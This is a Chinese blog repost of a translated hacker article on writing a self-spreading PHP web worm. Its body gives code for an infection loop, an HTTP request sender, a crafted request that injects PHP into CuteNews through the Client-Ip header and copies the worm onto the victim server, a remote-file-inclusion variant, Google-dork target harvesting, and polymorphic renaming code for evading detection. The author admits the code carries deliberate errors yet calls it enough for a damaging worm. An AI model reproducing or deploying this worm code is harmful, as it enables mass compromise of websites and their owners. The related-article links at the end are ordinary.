web蠕虫编写过程

2025-05-26 02:22:04

web蠕虫编写过程

最新推荐文章于 2024-11-06 17:20:36 发布

liuhuihlf

最新推荐文章于 2024-11-06 17:20:36 发布

阅读量5.4k

收藏

10

点赞数

2

分类专栏:

黑客

文章标签:

蠕虫

web

黑客

黑客

专栏收录该内容

6 篇文章

订阅专栏

*导言

*自动化

*搜集目标

*绕过IDS,多态性和通讯

*结语

===导言===

本文以一些未公开的WEB蠕虫为例,这些蠕虫可通过PHP漏洞脚本进行自我传播。该蠕虫叫World Cant Wait ,在11.2被公布在成千上万个信息公告栏和博客上,以此反对布什政权。原先它利用的是一个私有漏洞,就是最近曝出的关于CuteNews 1.4的php代码执行漏洞。这个蠕虫可自动寻找目标,并自我繁殖。在蠕虫病毒肆虐的同时,街上的人们还高喊着抗议口号。在此我并不打算冒着触犯法律的风险而去破坏一些系统,而是将通过阐述这项技术,并发布相关的模块代码,以此来推动未来PHP蠕虫的发展。

虽然本文中故意留有一些错误,并且仅提供部分代码,但凭此你也是可以写出一个具备一定破坏力的蠕虫病毒的,我们这样做的目的主要是为了防止媒体把我们描述成一些具有暴力和破坏力的黑客。编写蠕虫的优美与才智是体现在编写代码本身,而非它可以黑掉多少系统。现在让我们一起去探索其中的奥秘吧,同时请记住:代码无罪!

===自动化===

挖掘漏洞并编写一个可自动搜集目标和利用的引擎。WEB漏洞具有可预测性,通过搜索引擎可很容易地做到,而且通过构造一系列的HTTP requests即可实现自动化攻击。

while ($stop == false) {

$list = gather_targets();

for ($i=0;$i

echo " [x] targetting $list[$i]...\n";

if (!is_infected($list[$i])) infect($list[$i]);

}

$stop = true;

}

为了让WEB蠕虫进行自我传播,你需要将利用过程自动化,这可以通过使用PHP socket函数与web server建立连接,并发送http数据。下面的函数演示了如何使用PHP脚本来连接服务器,发送数据并返回响应信息:

function make_request($domain, $packet) {

$fp = @fsockopen($domain, 80, $errno, $errstr, 10);

if (!$fp) return false;

fwrite($fp, $packet);

while (!feof($fp)) $text.= fgets($fp);

fclose($fp);

}

接下来的工作就仅仅只是构造一个适合的HTTP request,以利用漏洞,并进行自我复制以感染系统。当有人对文章发表评论时,CuteNews便将信息写入data/flood.db.php文件中。通过Client-Ip HTTP header传输数据,你就可以向这个文件注入PHP代码。

$packet = str_replace("\n","\n\r",

"

OST

$location/example2.php?subaction=showcomments&id=1128188313&archive=&start_from=

&ucat=& HTTP/1.1

Accept: */*\r\nAccept-Language: en

Accept-Encoding: gzip, deflate

Client-Ip:

User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6

(KHTML, like Gecko) Safari/412.2

Content-Type: application/x-www-form-urlencoded

Content-Length: 107

Connection: close

Host: $domain

name=haxitup&mail=&comments=j00+haxed+%3Alaughing%3A&submit=Add+My+Comment&

subaction=addcomment&ucat=&show=

";

如果我们创建了这些请求,那么就可以通过Client-Ip将PHP代码写入到flood.db.php文件中,然后我们就可以通过一个正规的GET请求来执行代码了。既然可以将PHP代码执行的过程自动化,那么我们就可以开始着手准备去如何编写病毒代码,以实现其自我繁殖并植入payload的功能。下面的例子将复制整个蠕虫代码到漏洞服务器上的sekret.php文件中,以备运行。你可以在Client-Ip未端添加一些payload,通过运行sekret.php使其在news.txt顶端中添加一新标题,让每个存在漏洞的CuteNews站点都发表一新闻帖。

$source = str_replace("\$", "\\\$",str_replace("\"", "\\\"",str_replace("\\",

"\\\\",file_get_contents($_SERVER['PHP_SELF']))));

...

Client-Ip:

\"$source\");fclose(\$fp); ?>\r\n ...

...

for ($i=0;$i<2;$i++) { $bob = make_request($domain, $packet); }

make_request($domain, "GET $location/data/flood.db.php HTTP/1.1\r\nHost:

$domain\r\nConnection: close\r\n\r\n");

其它感染方式:PHP文件包含

关于将PHP文件包含漏洞的处理自动化的技术也并不是很难,通常我们粗劣写出来的PHP脚本都普遍含有这样一段代码,该代码存在远程PHP代码执行漏洞,我们可以将一小段PHP代码作为GET 变量'page'的值,然后通过URL进行传输。这样我们的通过URL来发送HTTP GET request 以使其在其它服务器上自行运行,蠕虫就可以在WEB的根目录下的一些地方进行自我复制了。

$fp = fopen("sekret.txt", "w");

fwrite($fp, file_get_contents($_SERVER['PHP_SELF']));

fclose($fp);

$url = $_SERVER['SCRIPT_URI'];

make_request($domain, "GET /test.php?path=$url HTTP/1.1\r\nHost:

$domain\r\nConnection: close\r\n\r\n");

其它感染方式:SQL

其它感染方式:JavaScript / XSS

===搜集目标===

在worm开发期间,最为明智的做法是将实际的利用代码与目标搜集代码相分离开来。你可以在自己的机器上或局域网内,使用类似下列的代码进行测试:

function gather_targets() {

return array("http://localhost/cutenews");

}

基于web蠕虫的意图,通过搜索引擎去寻找潜在的目标是很有必要的。你可以很容易地写出一些请求,并通过URLs让网站执行特定软件。这可以通过网页收集代码来产生一组包含可被worm感染的目标数组,以此实现其自动化。

$search = array("inurl:flood.db.php", "\"powered by cutenews v1.3\"",

"\"/cutenews/remote_headlines.php\"", "\"powered by CuteNews\" \"2003..2005

CutePHP\"", "inurl:\"/newsarchive.php?archive\"");

$query = $search[rand(0, count($search)-1)];

通过构造HTTP requests,你就可以从搜索引擎中获得搜索结果,然后从返回的网址中寻找合适的目标。

$fp = fsockopen("google.com", "80");

fwrite($fp, "GET /search?q=" . urlencode($query) .

"&sourceid=mozilla-search&start=0&start=0&ie=utf-8&oe=utf-8&client=firefox-a&rls

=org.mozilla:en-US

fficial HTTP/1.1\r\n

Host: www.google.com\r\n

User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8)

Gecko/20050511/1.0.4\r\n

Accept:

text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,

image/png,*/*;q=0.5\r\n

Accept-Language: en-us,en;q=0.5\r\n

Accept-Encoding: gzip,deflate\r\n

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n

Connection: close\r\n\r\n");

while (!feof($fp) AND (strpos($text, "2005 Google") === false)) {

$text.= fgets($fp);

}

fclose($fp);

while (!(strpos($text, "

$starttext = substr($text, strpos($text, "

$thenumber = substr($starttext, 0, strpos($starttext, "\""));

$text = str_replace("", "x", $text);

if (strpos($thenumber, "google") === false) $vuln[] = $thenumber;

}

print_r($vuln);

===绕过IDS,多态性和通讯===

你可以通过查找和替换以上代码,以调整上面写得比较匆忙的代码,使其便于用在每个新的迭代蠕虫病毒中。PHP与其它语言相似,有提供一些可互换,并可产生相同结果的函数别名。现在考虑一下,通过添加外部的垃圾代码以混淆文件大小和通过对代码进行编码的相似之处。除了改变程序中的变量名之外,还可以将数字及字符串以不同的方式来表达。

$random++; -> $random+= -2 + 3;

$start = "go"; -> $start = chr(103) . chr(111);

$num = count($result); -> $num = sizeof($result);

下面的代码是改于29a病毒杂志上公布的变量名变形的源代码:

$changevars=array('changevars', 'content', 'newvars', 'counti','countj',

'trash');

srand((double)microtime()*1000000);

$content=fread(fopen(__FILE__,'r'),filesize(__FILE__));

$counti=0;

while($changevars[$counti]) {

$content=str_replace($changevars[++$counti], trash('',0), $content);

}

fwrite(fopen(__FILE__,'w'),$content);

function trash($newvar, $countj) {

do { $newvar.=chr(rand(97,122)); } while (++$countj

return $newvar;

}

?>

将http request中的数据集随机化,以使其具备不可预测性。通过选择一个随机的user-agent,以使其看起来像真实的users。或者你也可以调整实际的POST数据,使其不能在每个表单名中使用相同的名称(比如上面的cutenews一例)。

如果蠕虫病毒依靠像google这样的搜索引擎来搜集目标,那么就应该考虑将请求多样化了,以减少被加入黑名单而被查杀的可能性。inurl(译注:google的搜索命令)可以用来搜索很多的页面,但intitle也是相当不错的。将http request中的user-agent随机化,或者结合多个搜索引擎来混杂它们,以此延长worm的生命期。过去和将来的迭代蠕虫病毒的通讯开发方式主要置力于attacked boxes,蠕虫病毒分散的通讯方式也可以帮助worm自动变形,通过发现(fuzzing)新的exploits或者反馈新的攻击方式就可以使其自动变形。

结语

在通过Php脚本漏洞传播的WEB蠕虫病毒的编写世界中,World Cant Wait作为一个简单的proof-of-concept而被制造出来。虽然蠕虫代码不能摧毁系统(上面的代码甚至未经修改就不能运行),但这个PoC可用于改造成各种payload。之前脚本蠕虫的雏形只是用来搜集jumpbox,捕获密码,或者DDoS主流系统,然而实际上也有些人是通过它来修补脆弱软件中的安全漏洞;也有人正蕴酿着如何在各留言板,博客和信息栏上大肆灌水,以此轰炸站点和操作google的网站收录及其它spidering系统。这种情况可能是永无休止的,但真正的天才是体现在创造力上。大部分人对像编写蠕虫病毒这样的高级编程很感兴趣,主要是因为开发出可自动搜集目标并对其攻击的高效代码具有一定的技术挑战。没有任何更为可行和完美的编程训练,可以比编写蠕虫病毒如此地更为有效和复杂。即使制造病毒在国人的眼光中是违法的,但人们对这项技术的兴趣依然长盛不衰,并且已经持续了几十年,并将一直成为黑客文化中的一部分,同时以一种安全可靠的方式来发展它们,了解更多请加入QQ群 76038268。

确定要放弃本次机会?

福利倒计时

:

:

立减 ¥

普通VIP年卡可用

立即使用

liuhuihlf

关注

关注

2

点赞

10

收藏

觉得还不错?

一键收藏

知道了

0

评论

分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫

举报

举报

专栏目录

[系统安全] 二十七.WannaCry勒索病毒分析 (3)蠕虫传播机制解析及IDA和OD逆向

杨秀璋的专栏

03-06

6755

前文分享了MSF利用MS17-010漏洞进行反弹Shell,再上传勒索病毒,复现了WannaCry勒索病毒。这篇文章作者将继续分析WannaCry勒索病毒,主要通过IDA和OD逆向分析蠕虫传播部分,详细讲解蠕虫是如何感染传播的。同时,由于作者技术真的菜,只能叙述自己摸索的过程,如果存在错误或不足之处,还望告知。希望这篇基础性文章对您有所帮助~

参与评论

您还未登录,请先

登录

后发表或查看评论

Graboid蠕虫挖矿传播事件

maoguan121的博客

10-29

368

网络安全发展的方向有两种趋势,一是与新场景、新应用结合,典型的如云计算、人工智能、物联 网等;二是安全技术自身的演化,例如欺骗技术、威胁狩猎、智能决策等,而这两类趋势往往可能会融 合,如人工智能与安全技术之间,既利用 AI技术赋能安全运营形成 AISecOps,又加速了智能化安全运 营和智能化攻击技术的对抗。当云计算发展将近二十年后,已然进入了新的阶段:云原生时代。以容器、编排和微服务为代表的 云原生技术,正在影响各行各业的 IT基础设施、平台和应用系统,也在渗透到如 IT/OT融合的工业互联网。

web蠕虫编写艺术

abcd8080的博客

07-12

617

标题:web蠕虫编写艺术

作者:未知

译者:riusksk(泉哥)

来源:国外著名黑客杂志《hack in zine》

*导言

*自动化

*搜集目标

*绕过IDS,多态性和通讯

*结语

===导言===

本文以一些未公开的WEB蠕虫为例,这些蠕虫可通过PHP漏洞脚本...

用python编写!!!网页病毒!!!

Shane_hcker的博客

12-31

4358

用Python编写网页病毒

Hello everyone,这里是Python程序员(正在努力学习中…):Shane_hcker。今天我给大家康康两种网页病毒。这次代码真的只需要亿点点哦~~(拿去恶搞基友吧!)

第一种

我们先进入第一种,这个的威力没有你们想象的那么大,我们来看下方:

import webbrowser

import tkinter.messagebox

while 1:

webbrowser.open("baidu.com")

tkinter.messagebox.showe

如何编写一段内存蠕虫?

m0_66756214的博客

06-01

739

我们怎么写一段代码,能够在程序内存里面不停移动?就是让shellcode代码能在内存中不停的复制自己,并且一直执行下去,也就是内存蠕虫。我们要把shellcode代码偏移出蠕虫长度再复制到蠕虫后面的内存中,然后执行。我们在实现过程中同时把前面同长度代码变成\x90,那个就是虫子走过的路,最终吃掉所有的内存。实现这个我们要知道shellcode长度,并且计算好shellcode每次移动的位置是多少。我们的shllcode以调用printf函数为例。

...

web蠕虫

你如今的气质里,藏着你走过的路,经历过的事,读过的书,和爱过的人。

12-06

413

一 web蠕虫的类别

web蠕虫只要包括:XSS蠕虫 CSRF蠕虫 Clickjacking蠕虫,文本蠕虫。

1 XSS蠕虫

(1 )蠕虫的性质

传播性:web层面基于HTTP请求进行传播。

传播性:基于JS脚本。

(2)条件

内容由用户驱动。

存在XSS漏洞。

被感染的用户处于登录状态 这样XSS的权限就是登录后的权限,能执行更多的恶意操作。

内容具备传播...

一个web蠕虫的简单实现

FreeXploiT

11-30

3204

本帖子原来是T_Torchidy的投稿文章,被tombkeeper转入论坛。在这之前先鄙视下一些人发现漏洞就挂马的无耻行为,我曾经因为一个公开的漏洞而在一个网站站上发现24个各个所谓组织,所谓黑客的后门,鄙视! 所谓蠕虫,其本质是利用计算机或者应用程序的漏洞进行感染和传播的一段程序,传统的蠕虫一般利用系统方面的漏洞来实现自身的传播,但是由于蠕虫的肆虐,一般的管理员或安装了防火墙或者在网络节

编写bat文件

eako的专栏

03-16

2208

突然想起了bat文件的编写于是就去网络上早了一下不是很多内容耶看来Bat不是很热门了现在--space.sf4u.net>>>>>前言最近对于批处理技术的探讨比较热,也有不少好的批处理程序发布,但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件,也就更谈不上自己动手编写了,古语云:“授人以鱼,不如授人以渔。”因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片 >给新手朋友们.也

lootTracker:一个用PHP编写的Web应用程序,用于协助蠕虫公司支付有关PVE的款项

04-30

战利品追踪器 ... 它背后的想法是公平,尽管它很复杂,但是我从中学到了更有效,更简单的方法。 在每个操作开始时,操作所有者将选择已加入舰队的成员来运行PVE站点。 当成员来来去去时,操作所有者将修改成员并创建组...

【网络安全】Xred蠕虫再分析及修复工具编写

HBohan的博客

12-04

5540

蠕虫病毒很老了,已经有很多前辈分析过该病毒,跟着前辈们的思路深入分析一下,并编写一个清理工具。这是我分析的第一个真实环境下的恶意样本,文中如果有不正确的地方请指正。

scrapper:解析电影的简单网络蠕虫

06-06

【标题】"scrapper:解析电影的简单网络蠕虫"是一个使用JavaScript编写的网络爬虫项目,主要用于抓取和解析与电影相关的信息。这个项目可能是为了教学目的或个人研究而设计的,它可以帮助初学者理解如何利用Web爬虫...

bondat蠕虫传播与对抗

weixin_33754913的博客

04-19

226

转载来自:http://www.mottoin.com/109730.html

(1)可移动磁盘传播手段:隐藏U盘文件,创建快捷方式指向病毒bat文件。Bondat蠕虫主要通过可移动磁盘传播,并借助可移动磁盘中的文件隐蔽自身。Bondat蠕虫会检索可移动磁盘中特定格式的文件(例如doc、jpg),在创建与这些文件同名的快捷方式的同时隐藏这些文件,而这些快捷方式指向Bondat蠕虫的启动器Drive...

基于破壳漏洞的蠕虫实践

qq_59468802的博客

10-12

152

实验简介

实验所属系列:操作系统安全

实验对象:本科/专科信息安全专业

相关课程及专业:信息网络安全概论

实验时数(学分):4学时

实验类别:实践实验类

预备知识

破壳漏洞的原理与利用

参考实验《破壳漏洞实践》,链接:

实验:破壳漏洞实践(合天网安实验室)

蠕虫简介

蠕虫定义:一种能够利用系统漏洞通过网络进行自我传播的恶意程序。它不需要附着在其他程序上,而是独立存在的。当形成规模、传播速度过快时会极大地消耗网络资源导致大面积网络拥塞甚至瘫痪。

计算机蠕虫与计算机病毒相...

Web安全漏洞分析-XSS(中)

qq_61861243的博客

11-28

969

2011年6月28日,国内最火的信息发布平台之一一一新浪微博 (http://weibo.com) 遭遇XSS蠕虫攻击,受害者被强迫发布带有攻击链接的私信或微博,内容类似“个税起征点有望提到4000”、“3D肉蒲团高清普通版种子”、“可以监听别人手机的软件”等含有诱惑性的信息。通常情况下,为了防御跨站脚本攻击,会在Web应用中设计一个XSS Filter,即跨站脚本过滤器,用于分析用户提交的输入,并消除潜在的跨站脚本攻击、恶意的HTML或简单的HTML格式错误等。

2024版最新148款CTF工具整理大全(附下载安装包)含基础环境、Web 安全、加密解密、密码爆破、文件、隐写、逆向、PWN等全套工具

热门推荐

Libra1313的博客

10-23

1万+

经常会有大学生粉丝朋友私信大白,想通过打CTF比赛镀金,作为进入一线互联网大厂的门票。但是在CTF做题很多的时候都会用到工具,所以在全网苦寻CTF比赛工具安装包!

7-17 爬动的蠕虫 (15 分) (C语言实现)

weixin_44043592的博客

10-20

2019

算法:

(1)刚好爬出

(2)最后一次不到一分钟

代码:

#include

int main()

{

int n,u,d;

scanf("%d %d %d",&n,&u,&d);

int flag=0;

int s=0;

int t=0;

while(flag!=1)

{

s+=u;//第一分钟,上爬u;

t...

蠕虫脚本研究

最新发布

2201_75528438的博客

11-06

961

开启延迟变量扩展后,变量的值在命令执行时才被替换,而不是在命令行被解析时。命令之前,所有的环境变量更改(如设置或删除变量)都只会影响当前的块,而不会改变全局环境。这是一种控制批处理文件执行流程的方式,允许你跳过中间的代码块,直接执行。这是一种控制批处理文件执行流程的方式,允许你跳过中间的代码块,直接执行。的文件,则将当前批处理文件自身复制到每个存在的驱动器的根目录,并命名为。命令可以用于扩展变量,即将一个变量的值插入到另一个变量中。符号来访问变量的当前值,而不是变量被解析时的值。

蠕虫病毒Worm: VBS/Jenxcus!lnk 解决方案 Python脚本

不激不随

04-20

9408

表现:U盘里所有根目录文件夹/文件都变成了快捷方式。

传播方式:U盘。多发于打印店等无保护公共设备。

原因:文件夹/文件属性被设为隐藏的系统文件

Win+R //进入cmd

E: //进入U盘

attrib //查看文件属性

发现文件属性被改为了SH(System Hidden)Windows下无法查看隐藏的系统文件(即使在打开“查看隐藏的项目”的情况下)attrib指令用于修改文件的属

网络安全下用c语言写蠕虫病毒,神经网络在计算机网络安全管理中的应用

weixin_28965963的博客

05-25

442

摘 要:伴随着改革开放的不断深入和发展,新的世纪,全球进入信息时代,计算机网络平台在人们日常生活中扮演的角色越来越重要,计算机网络能够储存大量的信息资源,不仅给人们的生活带来了极大的便利,而且丰富了人们的生活。信息时代,各种各样的信息通过计算机终端实现共享和传递,面对重要的信息数据,就应该对计算机网络的安全管理引起高度重视。近年来,信息科技的高速发展,使得计算机系统的漏洞发现速度比过去快了许多,大...

理解Web安全基础:XSS漏洞详解与防护

4. 蠕虫传播:利用这种漏洞,攻击者可以编写能够自我复制并传播到其他用户的数据,造成大规模的感染。 为了检测存储式XSS漏洞,可以关注以下几个方面: - 检查服务器是否对用户输入进行了充分的验证和过滤,特别是...